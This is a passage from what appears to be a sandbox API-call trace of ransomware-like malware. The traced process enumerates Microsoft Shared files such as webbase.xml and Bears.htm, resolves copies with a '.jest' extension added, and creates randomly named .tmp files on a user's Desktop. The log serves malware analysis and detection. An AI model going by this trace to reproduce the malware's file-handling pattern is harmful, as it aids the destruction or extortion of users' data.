Shared\\ink\\fsdefinitions\\symbols\\symbase.xml", nBufferLength=0x104, lpBuffer=0x18e8b8, lpFilePart=0x18e780 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\symbase.xml", lpFilePart=0x18e780*="symbase.xml") returned 0x54 [0121.495] GetFullPathNameA (in: lpFileName="7CEeixXiIexr-uU9gI02fvxXN3FYE7M-SxZ1maldmyGrFRxteslC0roAV_V3OR_bqm_WW6dRAiT_lYW-m6rNoQuxSNRLJsknC5.tmp", nBufferLength=0x104, lpBuffer=0x18e944, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\7CEeixXiIexr-uU9gI02fvxXN3FYE7M-SxZ1maldmyGrFRxteslC0roAV_V3OR_bqm_WW6dRAiT_lYW-m6rNoQuxSNRLJsknC5.tmp", lpFilePart=0x18e708*="7CEeixXiIexr-uU9gI02fvxXN3FYE7M-SxZ1maldmyGrFRxteslC0roAV_V3OR_bqm_WW6dRAiT_lYW-m6rNoQuxSNRLJsknC5.tmp") returned 0x8c [0121.496] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\symbase.xml", nBufferLength=0x104, lpBuffer=0x18e83c, lpFilePart=0x18e708 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\symbase.xml", lpFilePart=0x18e708*="symbase.xml") returned 0x54 [0121.496] GetFullPathNameA (in: lpFileName="7CEeixXiIexr-uU9gI02fvxXN3FYE7M-SxZ1maldmyGrFRxteslC0roAV_V3OR_bqm_WW6dRAiT_lYW-m6rNoQuxSNRLJsknC5.tmp", nBufferLength=0x104, lpBuffer=0x18e81c, lpFilePart=0x18e6e4 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\7CEeixXiIexr-uU9gI02fvxXN3FYE7M-SxZ1maldmyGrFRxteslC0roAV_V3OR_bqm_WW6dRAiT_lYW-m6rNoQuxSNRLJsknC5.tmp", lpFilePart=0x18e6e4*="7CEeixXiIexr-uU9gI02fvxXN3FYE7M-SxZ1maldmyGrFRxteslC0roAV_V3OR_bqm_WW6dRAiT_lYW-m6rNoQuxSNRLJsknC5.tmp") returned 0x8c [0121.496] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\7CEeixXiIexr-uU9gI02fvxXN3FYE7M-SxZ1maldmyGrFRxteslC0roAV_V3OR_bqm_WW6dRAiT_lYW-m6rNoQuxSNRLJsknC5.tmp", lpFindFileData=0x18e6c4 | out: lpFindFileData=0x18e6c4*(dwFileAttributes=0x18e6e4, ftCreationTime.dwLowDateTime=0x18eb48, ftCreationTime.dwHighDateTime=0x18ea3c, ftLastAccessTime.dwLowDateTime=0x18e7f4, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x72a16647, ftLastWriteTime.dwHighDateTime=0x18e81c, nFileSizeHigh=0x18e6ec, nFileSizeLow=0x18e842, dwReserved0=0x7a5901, dwReserved1=0x65454337, cFileName="ixXiIexr-uU9gI02fvxXN3FYE7M-SxZ1maldmyGrFRxteslC0roAV_V3OR_bqm_WW6dRAiT_lYW-m6rNoQuxSNRLJsknC5.tmp", cAlternateFileName="Pê\x18")) returned 0xffffffff [0121.496] GetLastError () returned 0x2 [0121.496] GetLastError () returned 0x2 [0121.496] SetLastError (dwErrCode=0x2) [0121.497] VarOr (in: pvarLeft=0x18ee2c, pvarRight=0x18edec, pvarResult=0x18eddc | out: pvarResult=0x18eddc) returned 0x0 [0121.497] VarOr (in: pvarLeft=0x18eddc, pvarRight=0x18ed9c, pvarResult=0x18ed8c | out: pvarResult=0x18ed8c) returned 0x0 [0121.497] VarOr (in: pvarLeft=0x18ed8c, pvarRight=0x18ed4c, pvarResult=0x18ed3c | out: pvarResult=0x18ed3c) returned 0x0 [0121.497] VarOr (in: pvarLeft=0x18ed3c, pvarRight=0x18ecfc, pvarResult=0x18ecec | out: pvarResult=0x18ecec) returned 0x0 [0121.497] VarOr (in: pvarLeft=0x18ecec, pvarRight=0x18ecac, pvarResult=0x18ec9c | out: pvarResult=0x18ec9c) returned 0x0 [0121.497] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web\\webbase.xml", nBufferLength=0x104, lpBuffer=0x18e9a8, lpFilePart=0x18e870 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web\\webbase.xml", lpFilePart=0x18e870*="webbase.xml") returned 0x50 [0121.500] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web\\webbase.xml.jest", nBufferLength=0x104, lpBuffer=0x18e9a8, lpFilePart=0x18e870 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web\\webbase.xml.jest", lpFilePart=0x18e870*="webbase.xml.jest") returned 0x55 [0121.501] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web\\webbase.xml", nBufferLength=0x104, lpBuffer=0x18e7f8, lpFilePart=0x18e6d8 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web\\webbase.xml", lpFilePart=0x18e6d8*="webbase.xml") returned 0x50 [0121.501] FindFirstFileA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web\\webbase.xml", lpFindFileData=0x18e910 | out: lpFindFileData=0x18e910*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x900d3c7b, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x900d3c7b, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x900f9dd9, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x48e, dwReserved0=0xc1, dwReserved1=0x0, cFileName="webbase.xml", cAlternateFileName="")) returned 0x143ce48 [0121.501] FindClose (in: hFindFile=0x143ce48 | out: hFindFile=0x143ce48) returned 1 [0121.502] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea30, cbMultiByte=1, lpWideCharStr=0x14da7c4, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0121.502] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web\\webbase.xml", nBufferLength=0x104, lpBuffer=0x18e8b8, lpFilePart=0x18e780 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web\\webbase.xml", lpFilePart=0x18e780*="webbase.xml") returned 0x50 [0121.502] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web\\webbase.xml", nBufferLength=0x104, lpBuffer=0x18e8b8, lpFilePart=0x18e780 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web\\webbase.xml", lpFilePart=0x18e780*="webbase.xml") returned 0x50 [0121.502] VarDateFromUdate (in: pudateIn=0x18e9f8, dwFlags=0x0, pdateOut=0x18e9d4 | out: pdateOut=0x18e9d4) returned 0x0 [0121.502] GetLocalTime (in: lpSystemTime=0x18ea14 | out: lpSystemTime=0x18ea14*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x5, wSecond=0xa, wMilliseconds=0xb0)) [0121.503] GetLocalTime (in: lpSystemTime=0x18ea3c | out: lpSystemTime=0x18ea3c*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x5, wSecond=0xa, wMilliseconds=0xb0)) [0121.503] GetUserDefaultLCID () returned 0x409 [0121.503] VarBstrFromR4 (in: fltIn=0x47944317, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75910.18") returned 0x0 [0121.503] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web\\webbase.xml", nBufferLength=0x104, lpBuffer=0x18e8b8, lpFilePart=0x18e780 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web\\webbase.xml", lpFilePart=0x18e780*="webbase.xml") returned 0x50 [0121.503] GetFullPathNameA (in: lpFileName="Cyzleglo0U3uAMlRR3jx ubGkVygDwtRm40pFj0_TRl_PMAQMQpx-5shANWyhMqZ6Gkdc7lIrTaRQD75TyxH BlDeWGh Wcpuhzd.tmp", nBufferLength=0x104, lpBuffer=0x18e944, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Cyzleglo0U3uAMlRR3jx ubGkVygDwtRm40pFj0_TRl_PMAQMQpx-5shANWyhMqZ6Gkdc7lIrTaRQD75TyxH BlDeWGh Wcpuhzd.tmp", lpFilePart=0x18e708*="Cyzleglo0U3uAMlRR3jx ubGkVygDwtRm40pFj0_TRl_PMAQMQpx-5shANWyhMqZ6Gkdc7lIrTaRQD75TyxH BlDeWGh Wcpuhzd.tmp") returned 0x8e [0121.504] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web\\webbase.xml", nBufferLength=0x104, lpBuffer=0x18e83c, lpFilePart=0x18e708 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web\\webbase.xml", lpFilePart=0x18e708*="webbase.xml") returned 0x50 [0121.504] GetFullPathNameA (in: lpFileName="Cyzleglo0U3uAMlRR3jx ubGkVygDwtRm40pFj0_TRl_PMAQMQpx-5shANWyhMqZ6Gkdc7lIrTaRQD75TyxH BlDeWGh Wcpuhzd.tmp", nBufferLength=0x104, lpBuffer=0x18e81c, lpFilePart=0x18e6e4 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Cyzleglo0U3uAMlRR3jx ubGkVygDwtRm40pFj0_TRl_PMAQMQpx-5shANWyhMqZ6Gkdc7lIrTaRQD75TyxH BlDeWGh Wcpuhzd.tmp", lpFilePart=0x18e6e4*="Cyzleglo0U3uAMlRR3jx ubGkVygDwtRm40pFj0_TRl_PMAQMQpx-5shANWyhMqZ6Gkdc7lIrTaRQD75TyxH BlDeWGh Wcpuhzd.tmp") returned 0x8e [0121.504] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Cyzleglo0U3uAMlRR3jx ubGkVygDwtRm40pFj0_TRl_PMAQMQpx-5shANWyhMqZ6Gkdc7lIrTaRQD75TyxH BlDeWGh Wcpuhzd.tmp", lpFindFileData=0x18e6c4 | out: lpFindFileData=0x18e6c4*(dwFileAttributes=0x18e6e4, ftCreationTime.dwLowDateTime=0x18eb48, ftCreationTime.dwHighDateTime=0x18ea3c, ftLastAccessTime.dwLowDateTime=0x18e7f4, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x72a16647, ftLastWriteTime.dwHighDateTime=0x18e81c, nFileSizeHigh=0x18e6ec, nFileSizeLow=0x18e842, dwReserved0=0x7a5901, dwReserved1=0x6c7a7943, cFileName="eglo0U3uAMlRR3jx ubGkVygDwtRm40pFj0_TRl_PMAQMQpx-5shANWyhMqZ6Gkdc7lIrTaRQD75TyxH BlDeWGh Wcpuhzd.tmp", cAlternateFileName="Pê\x18")) returned 0xffffffff [0121.504] GetLastError () returned 0x2 [0121.504] GetLastError () returned 0x2 [0121.504] SetLastError (dwErrCode=0x2) [0121.507] VarOr (in: pvarLeft=0x18ee2c, pvarRight=0x18edec, pvarResult=0x18eddc | out: pvarResult=0x18eddc) returned 0x0 [0121.507] VarOr (in: pvarLeft=0x18eddc, pvarRight=0x18ed9c, pvarResult=0x18ed8c | out: pvarResult=0x18ed8c) returned 0x0 [0121.507] VarOr (in: pvarLeft=0x18ed8c, pvarRight=0x18ed4c, pvarResult=0x18ed3c | out: pvarResult=0x18ed3c) returned 0x0 [0121.507] VarOr (in: pvarLeft=0x18ed3c, pvarRight=0x18ecfc, pvarResult=0x18ecec | out: pvarResult=0x18ecec) returned 0x0 [0121.507] VarOr (in: pvarLeft=0x18ecec, pvarRight=0x18ecac, pvarResult=0x18ec9c | out: pvarResult=0x18ec9c) returned 0x0 [0121.507] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Bears.htm", nBufferLength=0x104, lpBuffer=0x18e9a8, lpFilePart=0x18e870 | out: lpBuffer="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Bears.htm", lpFilePart=0x18e870*="Bears.htm") returned 0x49 [0121.516] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Bears.htm.jest", nBufferLength=0x104, lpBuffer=0x18e9a8, lpFilePart=0x18e870 | out: lpBuffer="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Bears.htm.jest", lpFilePart=0x18e870*="Bears.htm.jest") returned 0x4e [0121.517] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Bears.htm", nBufferLength=0x104, lpBuffer=0x18e7f8, lpFilePart=0x18e6d8 | out: lpBuffer="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Bears.htm", lpFilePart=0x18e6d8*="Bears.htm") returned 0x49 [0121.517] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Bears.htm", lpFindFileData=0x18e910 | out: lpFindFileData=0x18e910*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42146c84, ftCreationTime.dwHighDateTime=0x1ca0409, ftLastAccessTime.dwLowDateTime=0x42146c84, ftLastAccessTime.dwHighDateTime=0x1ca0409, ftLastWriteTime.dwLowDateTime=0x41e4d104, ftLastWriteTime.dwHighDateTime=0x1ca0409, nFileSizeHigh=0x0, nFileSizeLow=0xff, dwReserved0=0x48, dwReserved1=0x56006533, cFileName="Bears.htm", cAlternateFileName="")) returned 0x143ce48 [0121.518] FindClose (in: hFindFile=0x143ce48 | out: hFindFile=0x143ce48) returned 1 [0121.518] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea30, cbMultiByte=1, lpWideCharStr=0x14da7c4, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0121.518] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Bears.htm", nBufferLength=0x104, lpBuffer=0x18e8b8, lpFilePart=0x18e780 | out: lpBuffer="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Bears.htm", lpFilePart=0x18e780*="Bears.htm") returned 0x49 [0121.518] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Bears.htm", nBufferLength=0x104, lpBuffer=0x18e8b8, lpFilePart=0x18e780 | out: lpBuffer="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Bears.htm", lpFilePart=0x18e780*="Bears.htm") returned 0x49 [0121.519] VarDateFromUdate (in: pudateIn=0x18e9f8, dwFlags=0x0, pdateOut=0x18e9d4 | out: pdateOut=0x18e9d4) returned 0x0 [0121.519] GetLocalTime (in: lpSystemTime=0x18ea14 | out: lpSystemTime=0x18ea14*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x5, wSecond=0xa, wMilliseconds=0xc0)) [0121.519] GetLocalTime (in: lpSystemTime=0x18ea3c | out: lpSystemTime=0x18ea3c*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x5, wSecond=0xa, wMilliseconds=0xc0)) [0121.519] GetUserDefaultLCID () returned 0x409 [0121.519] VarBstrFromR4 (in: fltIn=0x47944319, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75910.2") returned 0x0 [0121.519] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Bears.htm", nBufferLength=0x104, lpBuffer=0x18e8b8, lpFilePart=0x18e780 | out: lpBuffer="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Bears.htm", lpFilePart=0x18e780*="Bears.htm") returned 0x49 [0121.520] GetFullPathNameA (in: lpFileName="0KETCgvB2oQu9YNvbuiysd7VPz26uVtY_G6ypnLQ8W4F5wl3zGFarTrRM7CMoTIL32DokVS-LCqtdsgX0Mf7-BUK97JM6 lwY4Ms.tmp", nBufferLength=0x104, lpBuffer=0x18e944, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\0KETCgvB2oQu9YNvbuiysd7VPz26uVtY_G6ypnLQ8W4F5wl3zGFarTrRM7CMoTIL32DokVS-LCqtdsgX0Mf7-BUK97JM6 lwY4Ms.tmp", lpFilePart=0x18e708*="0KETCgvB2oQu9YNvbuiysd7VPz26uVtY_G6ypnLQ8W4F5wl3zGFarTrRM7CMoTIL32DokVS-LCqtdsgX0Mf7-BUK97JM6 lwY4Ms.tmp") returned 0x8e [0121.520] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Bears.htm", nBufferLength=0x104, lpBuffer=0x18e83c, lpFilePart=0x18e708 | out: lpBuffer="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Bears.htm", lpFilePart=0x18e708*="Bears.htm") returned 0x49 [0121.520] GetFullPathNameA (in: lpFileName="0KETCgvB2oQu9YNvbuiysd7VPz26uVtY_G6ypnLQ8W4F5wl3zGFarTrRM7CMoTIL32DokVS-LCqtdsgX0Mf7-BUK97JM6 lwY4Ms.tmp", nBufferLength=0x104, lpBuffer=0x18e81c, lpFilePart=0x18e6e4 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\0KETCgvB2oQu9YNvbuiysd7VPz26uVtY_G6ypnLQ8W4F5wl3zGFarTrRM7CMoTIL32DokVS-LCqtdsgX0Mf7-BUK97JM6 lwY4Ms.tmp", lpFilePart=0x18e6e4*="0KETCgvB2oQu9YNvbuiysd7VPz26uVtY_G6ypnLQ8W4F5wl3zGFarTrRM7CMoTIL32DokVS-LCqtdsgX0Mf7-BUK97JM6 lwY4Ms.tmp") returned 0x8e [0121.520] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\0KETCgvB2oQu9YNvbuiysd7VPz26uVtY_G6ypnLQ8W4F5wl3zGFarTrRM7CMoTIL32DokVS-LCqtdsgX0Mf7-BUK97JM6 lwY4Ms.tmp", lpFindFileData=0x18e6c4 | out: lpFindFileData=0x18e6c4*(dwFileAttributes=0x18e6e4, ftCreationTime.dwLowDateTime=0x18eb48, ftCreationTime.dwHighDateTime=0x18ea3c, ftLastAccessTime.dwLowDateTime=0x18e7f4, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x72a16647, ftLastWriteTime.dwHighDateTime=0x18e81c, nFileSizeHigh=0x18e6ec, nFileSizeLow=0x18e842, dwReserved0=0x7a5901, dwReserved1=0x54454b30, cFileName="CgvB2oQu9YNvbuiysd7VPz26uVtY_G6ypnLQ8W4F5wl3zGFarTrRM7CMoTIL32DokVS-LCqtdsgX0Mf7-BUK97JM6 lwY4Ms.tmp", cAlternateFileName="Pê\x18")) returned 0xffffffff [0121.520] GetLastError () returned 0x2 [0121.520] GetLastError () returned 0x2 [0121.520] SetLastError (dwErrCode=0x2) [0121.521] VarOr (in: pvarLeft=0x18ee2c, pvarRight=0x18edec, pvarResult=0x18eddc | out: pvarResult=0x18eddc) returned 0x0 [0121.521] VarOr (in: pvarLeft=0x18eddc, pvarRight=0x18ed9c, pvarResult=0x18ed8c | out: pvarResult=0x18ed8c) returned 0x0 [0121.521] VarOr (in: pvarLeft=0x18ed8c, pvarRight=0x18ed4c, pvarResult=0x18ed3c | out: pvarResult=0x18ed3c) returned 0x0 [0121.521] VarOr (in: pvarLeft=0x18ed3c, pvarRight=0x18ecfc, pvarResult=0x18ecec | out: pvarResult=0x18ecec) returned 0x0 [0121.521] VarOr (in: pvarLeft=0x18ecec, pvarRight=0x18ecac, pvarResult=0x18ec9c | out: pvarResult=0x18ec9c) returned 0x0 [0121.521] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.htm", nBufferLength=0x104, lpBuffer=0x18e9a8, lpFilePart=0x18e870 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.htm", lpFilePart=0x18e870*="Bears.htm") returned 0x43 [0121.528] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.htm.jest", nBufferLength=0x104, lpBuffer=0x18e9a8, lpFilePart=0x18e870 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.htm.jest", lpFilePart=0x18e870*="Bears.htm.jest") returned 0x48 [0121.530] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.htm", nBufferLength=0x104, lpBuffer=0x18e7f8, lpFilePart=0x18e6d8 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.htm", lpFilePart=0x18e6d8*="Bears.htm") returned 0x43 [0121.530] FindFirstFileA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.htm", lpFindFileData=0x18e910 | out: lpFindFileData=0x18e910*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce2608de, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce2608de, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xcdfff30e, ftLastWriteTime.dwHighDateTime=0x1ca040d, nFileSizeHigh=0x0, nFileSizeLow=0xff, dwReserved0=0x48, dwReserved1=0x0, cFileName="Bears.htm", cAlternateFileName="")) returned 0x143ce48 [0121.530] FindClose (in: hFindFile=0x143ce48 | out: hFindFile=0x143ce48) returned 1 [0121.530] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea30, cbMultiByte=1, lpWideCharStr=0x1436794, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0121.530] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.htm", nBufferLength=0x104, lpBuffer=0x18e8b8, lpFilePart=0x18e780 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.htm", lpFilePart=0x18e780*="Bears.htm") returned 0x43 [0121.530] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.htm", nBufferLength=0x104, lpBuffer=0x18e8b8, lpFilePart=0x18e780 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.htm", lpFilePart=0x18e780*="Bears.htm") returned 0x43 [0121.531] VarDateFromUdate (in: pudateIn=0x18e9f8, dwFlags=0x0, pdateOut=0x18e9d4 | out: pdateOut=0x18e9d4) returned 0x0 [0121.531] GetLocalTime (in: lpSystemTime=0x18ea14 | out: lpSystemTime=0x18ea14*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x5, wSecond=0xa, wMilliseconds=0xc0)) [0121.531] GetLocalTime (in: lpSystemTime=0x18ea3c | out: lpSystemTime=0x18ea3c*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x5, wSecond=0xa, wMilliseconds=0xc0)) [0121.531] GetUserDefaultLCID () returned 0x409 [0121.531] VarBstrFromR4 (in: fltIn=0x47944319, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75910.2") returned 0x0 [0121.531] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.htm", nBufferLength=0x104, lpBuffer=0x18e8b8, lpFilePart=0x18e780 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.htm", lpFilePart=0x18e780*="Bears.htm") returned 0x43 [0121.532] GetFullPathNameA (in: lpFileName="xREuMUMGni2XuGsbDRtoZwp 2C-o-k-CEnLfePgbVtm9B7rYOcxXcH-BIwnI2KQGswsZH8BvYOBkkRRGcDVAKuBriM4Kqf0WbfF7L.tmp", nBufferLength=0x104, lpBuffer=0x18e944, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\xREuMUMGni2XuGsbDRtoZwp 2C-o-k-CEnLfePgbVtm9B7rYOcxXcH-BIwnI2KQGswsZH8BvYOBkkRRGcDVAKuBriM4Kqf0WbfF7L.tmp", lpFilePart=0x18e708*="xREuMUMGni2XuGsbDRtoZwp 2C-o-k-CEnLfePgbVtm9B7rYOcxXcH-BIwnI2KQGswsZH8BvYOBkkRRGcDVAKuBriM4Kqf0WbfF7L.tmp") returned 0x8f [0121.532] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.htm", nBufferLength=0x104, lpBuffer=0x18e83c, lpFilePart=0x18e708 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.htm", lpFilePart=0x18e708*="Bears.htm") returned 0x43 [0121.532] GetFullPathNameA (in: lpFileName="xREuMUMGni2XuGsbDRtoZwp 2C-o-k-CEnLfePgbVtm9B7rYOcxXcH-BIwnI2KQGswsZH8BvYOBkkRRGcDVAKuBriM4Kqf0WbfF7L.tmp", nBufferLength=0x104, lpBuffer=0x18e81c, lpFilePart=0x18e6e4 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\xREuMUMGni2XuGsbDRtoZwp 2C-o-k-CEnLfePgbVtm9B7rYOcxXcH-BIwnI2KQGswsZH8BvYOBkkRRGcDVAKuBriM4Kqf0WbfF7L.tmp", lpFilePart=0x18e6e4*="xREuMUMGni2XuGsbDRtoZwp 2C-o-k-CEnLfePgbVtm9B7rYOcxXcH-BIwnI2KQGswsZH8BvYOBkkRRGcDVAKuBriM4Kqf0WbfF7L.tmp") returned 0x8f [0121.532] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\xREuMUMGni2XuGsbDRtoZwp 2C-o-k-CEnLfePgbVtm9B7rYOcxXcH-BIwnI2KQGswsZH8BvYOBkkRRGcDVAKuBriM4Kqf0WbfF7L.tmp", lpFindFileData=0x18e6c4 | out: lpFindFileData=0x18e6c4*(dwFileAttributes=0x18e6e4, ftCreationTime.dwLowDateTime=0x18eb48, ftCreationTime.dwHighDateTime=0x18ea3c, ftLastAccessTime.dwLowDateTime=0x18e7f4, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x72a16647, ftLastWriteTime.dwHighDateTime=0x18e81c, nFileSizeHigh=0x18e6ec, nFileSizeLow=0x18e842, dwReserved0=0x7a5901, dwReserved1=0x75455278, cFileName="MUMGni2XuGsbDRtoZwp 2C-o-k-CEnLfePgbVtm9B7rYOcxXcH-BIwnI2KQGswsZH8BvYOBkkRRGcDVAKuBriM4Kqf0WbfF7L.tmp", cAlternateFileName="Pê\x18")) returned 0xffffffff [0121.532] GetLastError () returned 0x2 [0121.532] GetLastError () returned 0x2 [0121.532] SetLastError (dwErrCode=0x2) [0121.533] VarOr (in: pvarLeft=0x18ee2c, pvarRight=0x18edec, pvarResult=0x18eddc | out: pvarResult=0x18eddc) returned 0x0 [0121.533] VarOr (in: pvarLeft=0x18eddc, pvarRight=0x18ed9c, pvarResult=0x18ed8c | out: pvarResult=0x18ed8c) returned 0x0 [0121.533] VarOr (in: pvarLeft=0x18ed8c, pvarRight=0x18ed4c, pvarResult=0x18ed3c | out: pvarResult=0x18ed3c) returned 0x0 [0121.533] VarOr (in: pvarLeft=0x18ed3c, pvarRight=0x18ecfc, pvarResult=0x18ecec | out: pvarResult=0x18ecec) returned 0x0 [0121.533] VarOr (in: pvarLeft=0x18ecec, pvarRight=0x18ecac, pvarResult=0x18ec9c | out: pvarResult=0x18ec9c) returned 0x0 [0121.533] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Bears.jpg", nBufferLength=0x104, lpBuffer=0x18e9a8, lpFilePart=0x18e870 | out: lpBuffer="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Bears.jpg", lpFilePart=0x18e870*="Bears.jpg") returned 0x49 [0121.536] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Bears.jpg.jest", nBufferLength=0x104, lpBuffer=0x18e9a8, lpFilePart=0x18e870 | out: lpBuffer="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Bears.jpg.jest", lpFilePart=0x18e870*="Bears.jpg.jest") returned 0x4e 